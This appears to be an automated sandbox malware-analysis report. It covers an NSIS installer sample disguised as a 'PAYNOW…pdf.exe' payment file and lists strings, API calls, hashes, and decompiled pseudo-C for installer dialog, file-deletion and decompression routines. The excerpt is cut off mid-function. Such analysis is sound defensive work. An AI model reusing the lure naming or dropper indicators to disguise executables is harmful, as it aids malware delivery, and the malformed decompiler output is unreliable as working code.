"C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe", xrefs: 004033EA, 004033F0, 004035A7
C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr, xrefs: 00403502, 00403603, 004036AD, 004036B6
UXTHEME, xrefs: 00403364, 00403369, 0040336F
~nsu, xrefs: 0040365D

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Process$ExitFile$EnvironmentHandlePathTempTokenVariableWindowslstrcatlstrlen$AddressAdjustAttributesCharClassCloseCommandCurrentDeleteDirectoryErrorImageIndirectInfoInitializeLineLoadLookupMessageModeModuleNextOpenPrivilegePrivilegesProcRegisterUninitializeValueVersionlstrcmpi
String ID: "$"C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe"$.tmp$1033$82640896$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr$C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr\Lselystens143$C:\Users\user\Desktop$C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$`KLv$kernel32::EnumResourceTypesW(i0,ir1,i0)$~nsu
API String ID: 3776617018-554090722
Opcode ID: 6f120b407e4463f932cba12051cd65b14e6672b641774a7d667c3bca1f673eac
Instruction ID: fed38e33bd1ad5050a1aac335cdd74565c3a3e786a0889b069c8e2b205acfbdc
Opcode Fuzzy Hash: 6f120b407e4463f932cba12051cd65b14e6672b641774a7d667c3bca1f673eac
Instruction Fuzzy Hash: 7CC108702047406AD721AF759D49A2F3EACEF85306F45443FF581B62D2CB7C8A598B2E

Uniqueness

Uniqueness Score: -1.00%

Function 00405326 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 282
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E00405326(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				struct tagRECT _v24;
				void* _v32;
				signed int _v36;
				int _v40;
				int _v44;
				signed int _v48;
				int _v52;
				void* _v56;
				void* _v64;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t87;
				struct HWND__* _t89;
				long _t90;
				int _t95;
				int _t96;
				long _t99;
				void* _t102;
				intOrPtr _t113;
				void* _t121;
				intOrPtr _t124;
				struct HWND__* _t128;
				int _t150;
				int _t153;
				long _t157;
				struct HWND__* _t161;
				struct HMENU__* _t163;
				long _t165;
				void* _t166;
				char* _t167;
				char* _t168;
				int _t169;

				_t87 =  *0x423f04; // 0x103cc
				_t157 = _a8;
				_t150 = 0;
				_v8 = _t87;
				if(_t157 != 0x110) {
					__eflags = _t157 - 0x405;
					if(_t157 == 0x405) {
						_t121 = CreateThread(0, 0, E004052BA, GetDlgItem(_a4, 0x3ec), 0,  &_a8); // executed
						CloseHandle(_t121);
					}
					__eflags = _t157 - 0x111;
					if(_t157 != 0x111) {
						L17:
						__eflags = _t157 - 0x404;
						if(_t157 != 0x404) {
							L25:
							__eflags = _t157 - 0x7b;
							if(_t157 != 0x7b) {
								goto L20;
							}
							_t89 = _v8;
							__eflags = _a12 - _t89;
							if(_a12 != _t89) {
								goto L20;
							}
							_t90 = SendMessageA(_t89, 0x1004, _t150, _t150);
							__eflags = _t90 - _t150;
							_a12 = _t90;
							if(_t90 <= _t150) {
								L36:
								return 0;
							}
							_t163 = CreatePopupMenu();
							AppendMenuA(_t163, _t150, "true", E00406154(_t150, _t157, _t163, _t150, 0xffffffe1));
							_t95 = _a16;
							__eflags = _a16 - 0xffffffff;
							_t153 = _a16 >> 0x10;
							if(_a16 == 0xffffffff) {
								GetWindowRect(_v8,  &_v24);
								_t95 = _v24.left;
								_t153 = _v24.top;
							}
							_t96 = TrackPopupMenu(_t163, 0x180, _t95, _t153, _t150, _a4, _t150);
							__eflags = _t96 - 1;
							if(_t96 == 1) {
								_t165 = 1;
								__eflags = 1;
								_v56 = _t150;
								_v44 = 0x420d28;
								_v40 = 0x1000;
								_a4 = _a12;
								do {
									_a4 = _a4 - 1;
									_t99 = SendMessageA(_v8, 0x102d, _a4,  &_v64);
									__eflags = _a4 - _t150;
									_t165 = _t165 + _t99 + 2;
								} while (_a4 != _t150);
								OpenClipboard(_t150);
								EmptyClipboard();
								_t102 = GlobalAlloc(0x42, _t165);
								_a4 = _t102;
								_t166 = GlobalLock(_t102);
								do {
									_v44 = _t166;
									_t167 = _t166 + SendMessageA(_v8, 0x102d, _t150,  &_v64);
									 *_t167 = 0xd;
									_t168 = _t167 + 1;
									 *_t168 = 0xa;
									_t166 = _t168 + 1;
									_t150 = _t150 + 1;
									__eflags = _t150 - _a12;
								} while (_t150 < _a12);
								GlobalUnlock(_a4);
								SetClipboardData("true", _a4);
								CloseClipboard();
							}
							goto L36;
						}
						__eflags =  *0x423eec - _t150; // 0x0
						if(__eflags == 0) {
							ShowWindow( *0x424728, "true");
							__eflags =  *0x4247cc - _t150;
							if( *0x4247cc == _t150) {
								_t113 =  *0x420500; // 0x6ae664
								E004051E8( *((intOrPtr*)(_t113 + 0x34)), _t150);
							}
							E0040411E("true");
							goto L25;
						}
						 *0x4200f8 = 2;
						E0040411E(0x78);
						goto L20;
					} else {
						__eflags = _a12 - 0x403;
						if(_a12 != 0x403) {
							L20:
							return E004041AC(_t157, _a12, _a16);
						}
						ShowWindow( *0x423ef0, _t150);
						ShowWindow(_v8, "true");
						E0040417A(_v8);
						goto L17;
					}
				}
				_v48 = _v48 | 0xffffffff;
				_v36 = _v36 | 0xffffffff;
				_push("true");
				_pop(_t169);
				_v56 = _t169;
				_v52 = 0;
				_v44 = 0;
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				_t124 =  *0x424734;
				_a12 =  *((intOrPtr*)(_t124 + 0x5c));
				_a8 =  *((intOrPtr*)(_t124 + 0x60));
				 *0x423ef0 = GetDlgItem(_a4, 0x403);
				 *0x423ee8 = GetDlgItem(_a4, 0x3ee);
				_t128 = GetDlgItem(_a4, 0x3f8);
				 *0x423f04 = _t128;
				_v8 = _t128;
				E0040417A( *0x423ef0);
				 *0x423ef4 = E00404A6B("true");
				 *0x423f0c = 0;
				GetClientRect(_v8,  &_v24);
				_v48 = _v24.right - GetSystemMetrics(_t169);
				SendMessageA(_v8, 0x101b, 0,  &_v56); // executed
				SendMessageA(_v8, 0x1036, 0x4000, 0x4000); // executed
				if(_a12 >= 0) {
					SendMessageA(_v8, 0x1001, 0, _a12);
					SendMessageA(_v8, 0x1026, 0, _a12);
				}
				if(_a8 >= _t150) {
					SendMessageA(_v8, 0x1024, _t150, _a8);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E00404145(_a4);
				if(( *0x42473c & 0x00000003) != 0) {
					ShowWindow( *0x423ef0, _t150);
					if(( *0x42473c & 0x00000002) != 0) {
						 *0x423ef0 = _t150;
					} else {
						ShowWindow(_v8, "true");
					}
					E0040417A( *0x423ee8);
				}
				_t161 = GetDlgItem(_a4, 0x3ec);
				SendMessageA(_t161, 0x401, _t150, 0x75300000);
				if(( *0x42473c & 0x00000004) != 0) {
					SendMessageA(_t161, 0x409, _t150, _a8);
					SendMessageA(_t161, 0x2001, _t150, _a12);
				}
				goto L36;
			}

0x0040532c
0x00405334
0x00405337
0x0040533f
0x00405342
0x004054d1
0x004054d7
0x004054f4
0x004054fb
0x004054fb
0x00405507
0x0040550d
0x0040552f
0x0040552f
0x00405535
0x0040558a
0x0040558a
0x0040558d
0x00000000
0x00000000
0x0040558f
0x00405592
0x00405595
0x00000000
0x00000000
0x0040559f
0x004055a5
0x004055a7
0x004055aa
0x004056a7
0x00000000
0x004056a7
0x004055b9
0x004055c5
0x004055ce
0x004055d5
0x004055d9
0x004055dc
0x004055e5
0x004055eb
0x004055ee
0x004055ee
0x004055fe
0x00405604
0x00405607
0x00405612
0x00405612
0x00405613
0x00405616
0x0040561d
0x00405624
0x0040562c
0x0040562c
0x0040563a
0x00405640
0x00405643
0x00405643
0x0040564a
0x00405650
0x00405659
0x00405660
0x00405669
0x0040566b
0x0040566e
0x0040567d
0x0040567f
0x00405682
0x00405683
0x00405686
0x00405687
0x00405688
0x00405688
0x00405690
0x0040569b
0x004056a1
0x004056a1
0x00000000
0x00405607
0x00405537
0x0040553d
0x0040556b
0x0040556d
0x00405573
0x00405575
0x0040557e
0x0040557e
0x00405585
0x00000000
0x00405585
0x00405541
0x0040554b
0x00000000
0x0040550f
0x0040550f
0x00405515
0x00405550
0x00000000
0x00405557
0x0040551e
0x00405525
0x0040552a
0x00000000
0x0040552a
0x0040550d
0x00405348
0x0040534c
0x00405350
0x00405354
0x00405358
0x0040535b
0x0040535e
0x00405361
0x00405364
0x00405365
0x00405366
0x0040537f
0x00405382
0x0040538c
0x0040539b
0x004053a3
0x004053ab
0x004053b0
0x004053b3
0x004053bf
0x004053c8
0x004053d1
0x004053f3
0x004053f9
0x0040540a
0x0040540f
0x0040541d
0x0040542b
0x0040542b
0x00405430
0x0040543e
0x0040543e
0x00405443
0x00405446
0x0040544b
0x00405457
0x00405460
0x0040546d
0x0040547c
0x0040546f
0x00405474
0x00405474
0x00405488
0x00405488
0x0040549c
0x004054a5
0x004054ae
0x004054be
0x004054ca
0x004054ca
0x00000000

APIs

GetDlgItem.USER32(?,00000403), ref: 00405385
GetDlgItem.USER32(?,000003EE), ref: 00405394
GetClientRect.USER32(?,?), ref: 004053D1
GetSystemMetrics.USER32(?), ref: 004053D8
SendMessageA.USER32(?,0000101B,00000000,?), ref: 004053F9
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 0040540A
SendMessageA.USER32(?,00001001,00000000,?), ref: 0040541D
SendMessageA.USER32(?,00001026,00000000,?), ref: 0040542B
SendMessageA.USER32(?,00001024,00000000,?), ref: 0040543E
ShowWindow.USER32(00000000,?,0000001B,?), ref: 00405460
ShowWindow.USER32(?,?), ref: 00405474
GetDlgItem.USER32(?,000003EC), ref: 00405495
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 004054A5
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004054BE
SendMessageA.USER32(00000000,00002001,00000000,?), ref: 004054CA
GetDlgItem.USER32(?,000003F8), ref: 004053A3

Part of subcall function 0040417A: SendMessageA.USER32(00000028,?,?,00403FAA), ref: 00404188

GetDlgItem.USER32(?,000003EC), ref: 004054E6
CreateThread.KERNEL32(00000000,00000000,Function_000052BA,00000000), ref: 004054F4
CloseHandle.KERNELBASE(00000000), ref: 004054FB
ShowWindow.USER32(00000000), ref: 0040551E
ShowWindow.USER32(?,?), ref: 00405525
ShowWindow.USER32(?), ref: 0040556B
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040559F
CreatePopupMenu.USER32 ref: 004055B0
AppendMenuA.USER32(00000000,00000000,?,00000000), ref: 004055C5
GetWindowRect.USER32(?,000000FF), ref: 004055E5
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055FE
SendMessageA.USER32(?,0000102D,00000000,?), ref: 0040563A
OpenClipboard.USER32(00000000), ref: 0040564A
EmptyClipboard.USER32 ref: 00405650
GlobalAlloc.KERNEL32(00000042,?), ref: 00405659
GlobalLock.KERNEL32(00000000), ref: 00405663
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405677
GlobalUnlock.KERNEL32(00000000), ref: 00405690
SetClipboardData.USER32(?,00000000), ref: 0040569B
CloseClipboard.USER32 ref: 004056A1

Strings

dj, xrefs: 00405575
(B, xrefs: 00405616

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (B$dj
API String ID: 590372296-3677119433
Opcode ID: 9934ca02b61234b61f6669416f07b43bdbcc7f5e32188cc2a82ec529a76c8df9
Instruction ID: fe21aa704c045a880c187f0605a512594e5ece0db8e286b19571ae5c45aa8885
Opcode Fuzzy Hash: 9934ca02b61234b61f6669416f07b43bdbcc7f5e32188cc2a82ec529a76c8df9
Instruction Fuzzy Hash: 23A15B71900608BFDB119FA4DE89EAE7B79FB48355F00403AFA41BA1A0C7794E51DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00405889 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00405889(void* __eflags, signed int _a4, signed int _a8) {
				signed int _v8;
				void* _v12;
				signed int _v16;
				struct _WIN32_FIND_DATAA _v336;
				signed int _t40;
				char* _t53;
				signed int _t55;
				signed int _t58;
				signed int _t64;
				signed int _t66;
				void* _t68;
				signed char _t69;
				CHAR* _t71;
				void* _t72;
				CHAR* _t73;
				char* _t76;

				_t69 = _a8;
				_t73 = _a4;
				_v8 = _t69 & 0x00000004;
				_t40 = E00405B47(__eflags, _t73);
				_v16 = _t40;
				if((_t69 & 0x00000008) != 0) {
					_t66 = DeleteFileA(_t73); // executed
					asm("sbb eax, eax");
					_t68 =  ~_t66 + 1;
					 *0x4247c8 =  *0x4247c8 + _t68;
					return _t68;
				}
				_a4 = _t69;
				_t8 =  &_a4;
				 *_t8 = _a4 & 0x00000001;
				__eflags =  *_t8;
				if( *_t8 == 0) {
					L5:
					E004060C1(0x421d30, _t73);
					__eflags = _a4;
					if(_a4 == 0) {
						E00405AA0(_t73);
					} else {
						lstrcatA(0x421d30, "\*.*");
					}
					__eflags =  *_t73;
					if( *_t73 != 0) {
						L10:
						lstrcatA(_t73, 0x40a014);
						L11:
						_t71 =  &(_t73[lstrlenA(_t73)]); // executed
						_t40 = FindFirstFileA(0x421d30,  &_v336); // executed
						__eflags = _t40 - 0xffffffff;
						_v12 = _t40;
						if(_t40 == 0xffffffff) {
							L29:
							__eflags = _a4;
							if(_a4 != 0) {
								_t32 = _t71 - 1;
								 *_t32 =  *(_t71 - 1) & 0x00000000;
								__eflags =  *_t32;
							}
							goto L31;
						} else {
							goto L12;
						}
						do {
							L12:
							_t76 =  &(_v336.cFileName);
							_t53 = E00405A84( &(_v336.cFileName), 0x3f);
							__eflags =  *_t53;
							if( *_t53 != 0) {
								__eflags = _v336.cAlternateFileName;
								if(_v336.cAlternateFileName != 0) {
									_t76 =  &(_v336.cAlternateFileName);
								}
							}
							__eflags =  *_t76 - 0x2e;
							if( *_t76 != 0x2e) {
								L19:
								E004060C1(_t71, _t76);
								__eflags = _v336.dwFileAttributes & 0x00000010;
								if(__eflags == 0) {
									_t55 = E00405841(__eflags, _t73, _v8);
									__eflags = _t55;
									if(_t55 != 0) {
										E004051E8(0xfffffff2, _t73);
									} else {
										__eflags = _v8 - _t55;
										if(_v8 == _t55) {
											 *0x4247c8 =  *0x4247c8 + 1;
										} else {
											E004051E8(0xfffffff1, _t73);
											E00405EA0(_t72, _t73, 0);
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E00405889(__eflags, _t73, _a8);
									}
								}
								goto L27;
							}
							_t64 =  *((intOrPtr*)(_t76 + 1));
							__eflags = _t64;
							if(_t64 == 0) {
								goto L27;
							}
							__eflags = _t64 - 0x2e;
							if(_t64 != 0x2e) {
								goto L19;
							}
							__eflags =  *((char*)(_t76 + 2));
							if( *((char*)(_t76 + 2)) == 0) {
								goto L27;
							}
							goto L19;
							L27:
							_t58 = FindNextFileA(_v12,  &_v336);
							__eflags = _t58;
						} while (_t58 != 0);
						_t40 = FindClose(_v12);
						goto L29;
					}
					__eflags =  *0x421d30 - 0x5c;
					if( *0x421d30 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t40;
					if(_t40 == 0) {
						L31:
						__eflags = _a4;
						if(_a4 == 0) {
							L39:
							return _t40;
						}
						__eflags = _v16;
						if(_v16 != 0) {
							_t40 = E00406435(_t73);
							__eflags = _t40;
							if(_t40 == 0) {
								goto L39;
							}
							E00405A59(_t73);
							_t40 = E00405841(__eflags, _t73, _v8 | 0x00000001);
							__eflags = _t40;
							if(_t40 != 0) {
								return E004051E8(0xffffffe5, _t73);
							}
							__eflags = _v8;
							if(_v8 == 0) {
								goto L33;
							}
							E004051E8(0xfffffff1, _t73);
							return E00405EA0(_t72, _t73, 0);
						}
						L33:
						 *0x4247c8 =  *0x4247c8 + 1;
						return _t40;
					}
					__eflags = _t69 & 0x00000002;
					if((_t69 & 0x00000002) == 0) {
						goto L31;
					}
					goto L5;
				}
			}

0x00405893
0x00405898
0x004058a1
0x004058a4
0x004058ac
0x004058af
0x004058b2
0x004058ba
0x004058bc
0x004058bd
0x00000000
0x004058bd
0x004058c8
0x004058cb
0x004058cb
0x004058cb
0x004058cf
0x004058e2
0x004058e9
0x004058ee
0x004058f2
0x00405902
0x004058f4
0x004058fa
0x004058fa
0x00405907
0x0040590a
0x00405915
0x0040591b
0x00405920
0x00405930
0x00405932
0x00405938
0x0040593b
0x0040593e
0x004059f6
0x004059f6
0x004059fa
0x004059fc
0x004059fc
0x004059fc
0x004059fc
0x00000000
0x00000000
0x00000000
0x00000000
0x00405944
0x00405944
0x0040594d
0x00405953
0x00405958
0x0040595b
0x0040595d
0x00405961
0x00405963
0x00405963
0x00405961
0x00405966
0x00405969
0x0040597c
0x0040597e
0x00405983
0x0040598a
0x004059a5
0x004059aa
0x004059ac
0x004059d0
0x004059ae
0x004059ae
0x004059b1
0x004059c5
0x004059b3
0x004059b6
0x004059be
0x004059be
0x004059b1
0x0040598c
0x00405992
0x00405994
0x0040599a
0x0040599a
0x00405994
0x00000000
0x0040598a
0x0040596b
0x0040596e
0x00405970
0x00000000
0x00000000
0x00405972
0x00405974
0x00000000
0x00000000
0x00405976
0x0040597a
0x00000000
0x00000000
0x00000000
0x004059d5
0x004059df
0x004059e5
0x004059e5
0x004059f0
0x00000000
0x004059f0
0x0040590c
0x00405913
0x00000000
0x00000000
0x00000000
0x004058d1
0x004058d1
0x004058d3
0x00405a00
0x00405a02
0x00405a05
0x00405a56
0x00405a56
0x00405a56
0x00405a07
0x00405a0a
0x00405a15
0x00405a1a
0x00405a1c
0x00000000
0x00000000
0x00405a1f
0x00405a2b
0x00405a30
0x00405a32
0x00000000
0x00405a4d
0x00405a34
0x00405a37
0x00000000
0x00000000
0x00405a3c
0x00000000
0x00405a43
0x00405a0c
0x00405a0c
0x00000000
0x00405a0c
0x004058d9
0x004058dc
0x00000000
0x00000000
0x00000000
0x004058dc

APIs

DeleteFileA.KERNELBASE(?,?,764B3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004058B2
lstrcatA.KERNEL32(00421D30,\*.*,00421D30,?,?,764B3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004058FA
lstrcatA.KERNEL32(?,0040A014,?,00421D30,?,?,764B3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040591B
lstrlenA.KERNEL32(?,?,0040A014,?,00421D30,?,?,764B3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405921
FindFirstFileA.KERNELBASE(00421D30,?,?,?,0040A014,?,00421D30,?,?,764B3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405932
FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 004059DF
FindClose.KERNEL32(00000000), ref: 004059F0

Strings

\*.*, xrefs: 004058F4
C:\Users\user\AppData\Local\Temp\, xrefs: 00405896
"C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe", xrefs: 00405889

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-4017658676
Opcode ID: 26995f6469efc0b5a60458e08d56de8dc590e27ec954537a62243d1abfa56489
Instruction ID: 41c2b5987dba1b2e33ef8c3f02a16f7fa1ffbccb66a0b3bb43d54024ecdcecbe
Opcode Fuzzy Hash: 26995f6469efc0b5a60458e08d56de8dc590e27ec954537a62243d1abfa56489
Instruction Fuzzy Hash: 6251D070900A04EACB21AB618C89BBF7B78EF42724F54427BF851B51D1D73C4982DF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00406435 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406435(CHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileA(_a4, 0x422578); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x422578;
			}

0x00406440
0x00406449
0x00000000
0x00406456
0x0040644c
0x00000000

APIs

FindFirstFileA.KERNELBASE(764B3410,00422578,vesicorectal.sku,00405B8A,vesicorectal.sku,vesicorectal.sku,00000000,vesicorectal.sku,vesicorectal.sku,764B3410,?,C:\Users\user\AppData\Local\Temp\,004058A9,?,764B3410,C:\Users\user\AppData\Local\Temp\), ref: 00406440
FindClose.KERNEL32(00000000), ref: 0040644C

Strings

vesicorectal.sku, xrefs: 00406435
x%B, xrefs: 00406436

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: vesicorectal.sku$x%B
API String ID: 2295610775-3435538664
Opcode ID: f29c590cbb4ae7880d615934e2c411517b6bf54f8089bedae6efd123f54e346e
Instruction ID: 161293881315f5638f8ce2083a4c9c3eaa4ca925c072cbf9d6c71a91d4c8f3d6
Opcode Fuzzy Hash: f29c590cbb4ae7880d615934e2c411517b6bf54f8089bedae6efd123f54e346e
Instruction Fuzzy Hash: FED01231944130ABC3502B386E0C85B7B599F153313A2CB36F56AF12F0CB788C6296AC

Uniqueness

Uniqueness Score: -1.00%

Function 004067BE Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E004067BE() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				void* _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t590;
				signed int* _t607;
				void* _t614;

				L0:
				while(1) {
					L0:
					if( *(_t614 - 0x40) != 0) {
						 *(_t614 - 0x34) = 1;
						 *(_t614 - 0x84) = 7;
						_t607 =  *(_t614 - 4) + 0x180 +  *(_t614 - 0x38) * 2;
						L132:
						 *(_t614 - 0x54) = _t607;
						L133:
						_t531 =  *_t607;
						_t590 = _t531 & 0x0000ffff;
						_t565 = ( *(_t614 - 0x10) >> 0xb) * _t590;
						if( *(_t614 - 0xc) >= _t565) {
							 *(_t614 - 0x10) =  *(_t614 - 0x10) - _t565;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) - _t565;
							 *(_t614 - 0x40) = 1;
							_t532 = _t531 - (_t531 >> 5);
							 *_t607 = _t532;
						} else {
							 *(_t614 - 0x10) = _t565;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
							 *_t607 = (0x800 - _t590 >> 5) + _t531;
						}
						if( *(_t614 - 0x10) >= 0x1000000) {
							L139:
							_t533 =  *(_t614 - 0x84);
							L140:
							 *(_t614 - 0x88) = _t533;
							goto L1;
						} else {
							L137:
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 5;
								goto L170;
							}
							 *(_t614 - 0x10) =  *(_t614 - 0x10) << 8;
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						__eax =  *(__ebp - 0x5c) & 0x000000ff;
						__esi =  *(__ebp - 0x60);
						__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
						__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
						__ecx =  *(__ebp - 0x3c);
						__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
						__ecx =  *(__ebp - 4);
						(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
						__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
						__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
